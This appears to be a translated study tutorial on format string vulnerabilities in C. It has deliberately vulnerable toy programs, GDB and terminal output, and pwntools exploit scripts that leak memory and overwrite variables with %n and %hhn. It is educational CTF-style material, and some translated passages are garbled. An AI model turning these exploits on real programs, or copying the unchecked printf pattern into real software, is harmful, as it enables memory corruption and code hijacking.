Common formatting string functions
Output:
function | Basic introduction |
---|---|
printf | Output to stdout |
fprintf | Output to the specified FILE stream |
vprintf | Format the output to stdout according to the parameter list |
vfprintf | Format the output to the specified FILE stream according to the parameter list |
sprintf | Output to string |
snprintf | Outputs the specified number of bytes to a string |
vsprintf | Format output to string according to parameter list |
vsnprintf | Format and output the specified byte to the string according to the parameter list |
setproctitle | Set argv |
syslog | Output log |
err, verr, warn, vwarn, etc | . . . |
The input is scanf.
Vulnerability principle
For example, printf("%s,%d,%4.2f","hello",4,3.14);
This should be the case on the stack:
After entering printf, the function first obtains the first parameter. Reading its characters one by one will encounter two situations
- The current character is not% and is output directly to the corresponding standard output.
- The current character is%, continue reading the next character
- If there are no characters, an error is reported
- If the next character is%, output%
- Otherwise, the corresponding parameters are obtained according to the corresponding characters, parsed and output
Therefore, it is to find the corresponding parameters for parsing according to the stack.
What if so? printf("%s");
The string pointed to by the address below the first parameter "% s" in the stack will be printed. This is how the vulnerability of formatted strings works.
utilize
Program crash
If you enter several% s% s% s% s, there will always be an illegal address under the stack, causing the program to crash:
feng@ubuntu: ~/Desktop$ ./leakmemory %s%s%s%s 00000001.22222222.ffffffff.%s%s%s%s Segmentation fault (core dumped)
Leak memory
- Leak stack memory
- Gets the value of a variable
- Get the memory of the address corresponding to a variable
- Leak arbitrary address memory
- Use the GOT table to get the libc function address, and then get libc, and then get other libc function addresses
- Blind typing, dump the whole program to obtain useful information.
Leak stack variable value
#include <stdio.h> int main() { char s[100]; int a = 1, b = 0x22222222, c = -1; scanf("%s", s); printf("%08x.%08x.%08x.%s\n", a, b, c, s); printf(s); return 0; }
gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
Note the N + 1st parameter of the function:% n$x. (%n$p)
Break the breakpoint to printf: b printf and enter% 5$x.
You can see that the contents on the stack are as follows:
0x80484ce 0xffffcf80 1 %5$x 0xffffcf80 2 %5$x 0xc2 3 0xf7e9279b 4 '%5$x' 5 0xffffd000 6
We want to get the sixth parameter of the function. Although it is printf("%5$x"), it is only a parameter. Therefore, we think that the following parameters under the stack are the second and third parameters, and so on. So the sixth parameter, according to the stack, happens to be 0xffffd000
String corresponding to stack variable
%s. For example, if you enter% s, the reason why% s will be printed is because the parameter under the stack corresponding to the% s parameter is also exactly% s:
Summary:
- Use% x to obtain the memory of the corresponding stack, but it is recommended to use% p, regardless of the difference of bits.
- Use% s to get the content of the address corresponding to the variable, but there is zero truncation.
- Use% order x come Obtain take finger set ginseng number of value , benefit use x to get the value of the specified parameter, using% order x to obtain the value of the specified parameter, and s to obtain the content of the address corresponding to the specified parameter.
Leak arbitrary address memory
The above methods leak memory based on the order of the stack, and then the gesture of leaking memory at any address.
The position can be confirmed in this way:
feng@ubuntu: ~/Desktop$ ./leakmemory AAAA%p%p%p%p%p%p%p%p 00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p AAAA0xffcee9500xc20xf7df879b0x414141410x702570250x702570250x702570250x70257025
It can be found that AAAA appears at the position of the fifth parameter of the function when the memory is leaked from the bottom of the stack through% p, so the value corresponding to AAAA can be obtained as the address value through% 4$s.
Write exp:
from pwn import * from LibcSearcher import * #context(log_level="debug",arch="i386",os="linux") context(log_level="debug",os="linux") p = process('./leakmemory') elf = ELF('./leakmemory') __isoc99_scanf_got = elf.got['__isoc99_scanf'] payload = flat([__isoc99_scanf_got,'%4$s']) p.sendline(payload) p.recvuntil('%4$s\n') addr = hex(u32(p.recv()[4:8])) print(addr)
Overwrite memory
Leaked memory utilization is% n.
%n,No characters are output, but the number of characters that have been successfully output is written to the variable indicated by the corresponding integer pointer parameter.
/*overwrite.c */ #include <stdio.h> int a = 123, b = 456; int main() { int c = 789; char s[100]; printf("%p\n", &c); scanf("%s", s); printf(s); if (c == 16) { puts("modified c."); } else if (a == 2) { puts("modified a for a small number."); } else if (b == 0x12345678) { puts("modified b for a big number!"); } return 0; }
Overwrite stack memory
First, find a way to make the first if true, that is, we want to override the value of variable c.
The general idea is as follows:
...[overwrite addr]....%[overwrite offset]$n
- Determine overlay address
- Determine relative offset
- Overlay
The overwritten address, that is, the address of c, has been printed out by printf. The next step is to find the relative offset, which is the same as the previous leakage:
feng@ubuntu: ~/Desktop$ ./overwrite 0xffc1703c aaaa%p-%p-%p-%p-%p-%p-%p-%p aaaa0xffc16fd8-0xc2-0xf7e1579b-0xffc16ffe-0xffc170fc-0x61616161-0x252d7025-0x70252d70feng@ubuntu: ~/Desktop$
It can be found that it is the sixth parameter (the seventh parameter of the printf function). So it's% 6$n.
The function of n mentioned above is not to output characters, but to write the number of characters that have been successfully output into the variable referred to by the corresponding integer pointer parameter.
Therefore, the number of characters that have been output is written to the variable indicated by the nth + 1st parameter of the printf function.
The address is 4 bytes. If you want c to be 16, you need to output 12 characters. Construct exp:
from pwn import * from LibcSearcher import * #context(log_level="debug",arch="i386",os="linux") context(log_level="debug",os="linux") p = process('./overwrite') c_addr = int(p.recvuntil("\n",drop=True),16) payload = flat([c_addr,'a'*12,'%6$n']) p.sendline(payload) print(p.recv())
When you see modified c, it indicates that the content of c has been overwritten successfully.
Overwrite any address memory
Covering small numbers
Since the address to be overwritten is also the string we entered, the address can be specified arbitrarily. The key problem is the value.
When the overwritten value is small, such as 2, if it is still the same as before,% n$n has at least 4 bytes in front of it, so the overwritten value is at least 4, which makes it impossible for small numbers to be overwritten.
Therefore, you need to modify the position of the address value in the payload. Just put it back and see the solution:
feng@ubuntu: ~/Desktop$ ./overwrite 0xff9b1d1c bbccccbbaaaa%p-%p-%p-%p-%p-%p-%p-%p bbccccbbaaaa0xff9b1cb8-0xc2-0xf7daa79b-0xff9b1cde-0xff9b1ddc-0x63636262-0x62626363-0x61616161feng@ubuntu: ~/Desktop$
bb stands for two characters in front, cccc stands for% n$n, and then two b's are added to round up four bytes. aaaa is the address we put in. Take a look and you will find that aaaa is in the eighth parameter, so n takes 8.
As for the addresses of a and b, because they are initialized global variables, they are put in In the data section, IDA can just look at the address:
EXP:
from pwn import * from LibcSearcher import * #context(log_level="debug",arch="i386",os="linux") context(log_level="debug",os="linux") p = process('./overwrite') a_addr = 0x0804A024 payload = flat(['aa'+'%8$n','aa',a_addr]) p.sendline(payload) print(p.recv())
Covering large numbers
Mainly using% nx and% hhn.
hh For integer types, printf Looking forward to one from char Ascending int Integer parameter of the dimension. h For integer types, printf Looking forward to one from short Ascending int Integer parameter of the dimension.
To put it bluntly, hh writes one byte and h writes two bytes.
If b is 0x12345678, the overwritten memory is as follows:
78 56 34 12 Low and high address
The address of IDA View B is 0x0804A028. Therefore, it should be written into 0804a0280804a0290804a02a and 0804a02b respectively.
Write EXP:
from pwn import * from LibcSearcher import * #context(log_level="debug",arch="i386",os="linux") context(log_level="debug",os="linux") p = process('./overwrite') b_addr = 0x0804A028 payload = flat([b_addr,b_addr+1,b_addr+2,b_addr+3,'%104x','%6$hhn','%222x','%7$hhn','%222x','%8$hhn','%222x','%9$hhn']) p.sendline(payload) print(p.recv())
Tell me what you mean. First, fill in the values of the four addresses to be written, and then use% 6$hhn to% 9$hhn to overwrite the four addresses in turn.
The first is% 104x, which takes the hexadecimal of a certain address, and then the filling length is 104. In this way, the first four addresses are 4 * 8 + 104 = 120, which is 0x78. In this way, if% 7$hhn is added, it is to B_ Write a byte in addr and the value is 0x78.
Next, write 0x156, then take a byte, 0x56, and write it in.
The calculation is as follows:
In this way, the length to be supplemented is 222.
You can also use the function fmtstr of pwntools_ Payload to simplify:
from pwn import * from LibcSearcher import * #context(log_level="debug",arch="i386",os="linux") context(log_level="debug",os="linux") p = process('./overwrite') b_addr = 0x0804A028 payload = fmtstr_payload(6,{b_addr:0x12345678}) p.sendline(payload)
summary
The format string comes to an end. The basic format string vulnerability is clear. The example of ctfwiki has not been done. We will fill it later. For the time being, we will focus on breadth.